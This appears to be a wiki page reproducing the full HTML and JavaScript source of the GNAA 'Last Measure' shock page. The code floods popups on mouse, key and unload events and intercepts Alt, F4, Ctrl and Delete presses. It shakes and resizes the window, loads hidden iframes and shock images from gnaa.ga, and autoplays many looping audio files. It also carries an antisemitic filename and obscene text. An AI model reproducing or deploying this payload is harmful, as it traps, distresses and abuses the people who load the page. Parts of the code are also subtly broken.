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| <pre> | | <div style="background:linear-gradient(to left, #f9dd16 1%,#c60000 25%,#f9f9ff 52%,#c60000 76%,#f9dd16 100%,#f9dd16 100%);"> |
| <html>
| | [[File:Screamer Logo.png|center|256px|link=[[Screamer Wiki]]|Visit the main page]] |
| <head>
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| <title>THIS PAGE SMELLS LIKE FARTS</title>
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| <script>
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| var i;
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| var j;
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| function altf4key() { if (event.keyCode == 18 || event.keyCode == 115) alert("THIS PAGE SMELLS LIKE FARTS"); }
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| function ctrlkey() { if (event.keyCode == 17) alert("THIS PAGE SMELLS LIKE FARTS"); }
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| function delkey() { if (event.keyCode == 46) alert("GNAA LAST MEASURE LIVE!"); }
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| var nom = navigator.appName.toLowerCase();
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| var agt = navigator.userAgent.toLowerCase();
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| var is_major = parseInt(navigator.appVersion);
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| var is_minor = parseFloat(navigator.appVersion);
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| var is_ie = (agt.indexOf("msie") != -1);
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| var is_ie4up = (is_ie && (is_major >= 4));
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| var is_nav = (nom.indexOf('netscape')!=-1);
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| var is_nav4 = (is_nav && (is_major == 4));
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| var is_mac = (agt.indexOf("mac")!=-1);
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| var is_gecko = (agt.indexOf('gecko') != -1);
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| // GECKO REVISION
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| var is_rev = 0
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| if (is_gecko) {
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| temp = agt.split("rv:")
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| is_rev = parseFloat(temp[1])
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| }
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| function procreate() {
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| for(i = 0; i < 16; i++) {
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| popUp("https://gnaa.ga/lastmeasure/Hello.jpg");
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| }
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| }
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| function popUp(URL) {
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| day = new Date();
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| id = day.getTime();
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| eval("page" + id + " = window.open(URL, '_blank', 'toolbar=0,scrollbars=0,location=1,statusbar=0,menubar=0,resizable=0,width=640,height=583');");
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| }
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| function load_goatse() {
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| document.body.innerHTML += goatseflash;
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| setTimeout(unload_goatse(),3000);
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| }
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| function unload_goatse() {
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| document.getElementById("hello").style.display = 'none';
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| }
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| var images = new Array();
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| var imagecount = 0;
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| var delay = 10;
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| var step = .2;
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| var curstep = 0;
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| window.resizeTo(800,600);
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| var centerX = (self.screen.width - document.body.clientWidth) / 2;
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| var centerY = (self.screen.height - document.body.clientHeight - 120) / 2;
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| movewow();
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| function movewow() {
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| var j;
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| for (j = 0; j < 5; j++) {
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| curstep += step / 5;
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| var factorX = Math.sin(curstep * 6.1) * 0.9;
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| var factorY = Math.cos(curstep * 3.7) * 0.9;
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| factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)
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| * (Math.sin(10+curstep/10)+0.2)
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| * Math.cos((curstep + j*25)/10);
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| factorY += 0.2 * Math.sin((20*Math.sin(curstep/(20+j)))+j*70)
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| * (Math.sin(10+curstep/10)+0.2)
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| * Math.cos((curstep + j*25)/10);
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| window.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));
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| }
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| document.body.background = images[(Math.floor(curstep) % imagecount) + 1];
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| setTimeout(movewow(), delay);
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| }
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| var protos = [
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| "lm.pdf",
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| "jews.wmv"
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| ];
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| function add(str) {
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| div = document.getElementById("goatse");
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| div.innerHTML = '<iframe style="width: 1; height: 1;" src="'+str+'"></iframe>';
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| }
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| function ruin() {
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| document.body.innerHTML += '<div id="goatse">Y HALLO THAR!</div>';
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| //while (1) {
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| for (j = 0; j < 5; j++) {
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| for (i = 0; i < protos.length; i++) {
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| add(protos[i]);
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| }
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| }
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| }
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| var audio = new Array();
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| var audiocount = 27;
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| audio[0] = 'HEY.wav';
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| audio[1] = 'eska.wav';
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| audio[2] = 'fury.wav';
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| audio[3] = 'popeye.wav';
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| audio[4] = 'kirk.wav';
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| audio[5] = 'abez2.wav';
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| audio[6] = 'original.wav';
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| audio[7] = 'rkz.wav';
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| audio[8] = 'blackman.wav';
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| audio[9] = 'jesuitx1.wav';
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| audio[10] = 'rucas.wav';
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| audio[11] = 'jesuitx2.wav';
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| audio[12] = 'jizzy.wav';
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| audio[13] = 'sam.wav';
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| audio[14] = 'abez.wav';
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| audio[15] = 'trogg.wav';
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| audio[16] = 'jenk.wav';
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| audio[17] = 'acostoss.wav';
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| audio[18] = 'lord_kane.wav';
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| audio[19] = 'tehdely.wav';
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| audio[20] = 'unknown.wav';
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| audio[21] = 'jsilver2.wav';
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| audio[22] = 'jenk2.wav';
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| audio[23] = 'meepsheep.wav';
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| audio[24] = 'jsilver.wav';
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| audio[25] = 'jakk.wav';
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| audio[26] = 'acostoss2.wav';
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| function start_play(i) {
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| document.getElementById("audio").innerHTML += '<audio src="'+audio[i]+'" loop="true" autoplay />';
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| }
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| function start_audio() {
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| for (i = 1; i < audiocount; i++) {
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| setTimeout(start_play, 12000 * (i), i);
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| }
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| }
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| </script>
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| <style>
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| html {
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| height: 100%;
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| width: 100%;
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| overflow: hidden;
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| }
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| body {
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| height: 100%;
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| width: 100%;
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| margin: 0;
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| padding: 0;
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| }
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| </style>
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| </head>
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| <body style="background-image: url(https://gnaa.ga/lastmeasure/hello.jpg); background-color: white;" onload="start_audio();load_goatse();document.getElementById('goatse').reset();movewow();setTimeout(ruin(),20);" onmousemove="document.getElementById('goatse').reset();movewow();procreate();" onkeydown="altf4key();ctrlkey();delkey();procreate();" onunload="document.getElementById('goatse').reset();movewow();procreate();" onmouseover="document.getElementById('goatse').reset();movewow();procreate();">
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| <script>
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| </script>
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| <div>
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| GNAA LAST MEASURE LIVE!
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| </div> | | </div> |
| <script>
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| </script>
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| <div id="audio">
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| <audio src="https://gnaa.ga/lastmeasure/HEY.wav" autoplay loop="true" /> </div>
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| <form onreset="procreate();" onsubmit="procreate();" action="#" id="goatse" name="goatse">
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| <p><span style="background-color:white; border:thin solid; color black;">Click meh</span></p>
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| </form>
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| </body>
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| </html>
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| </pre>
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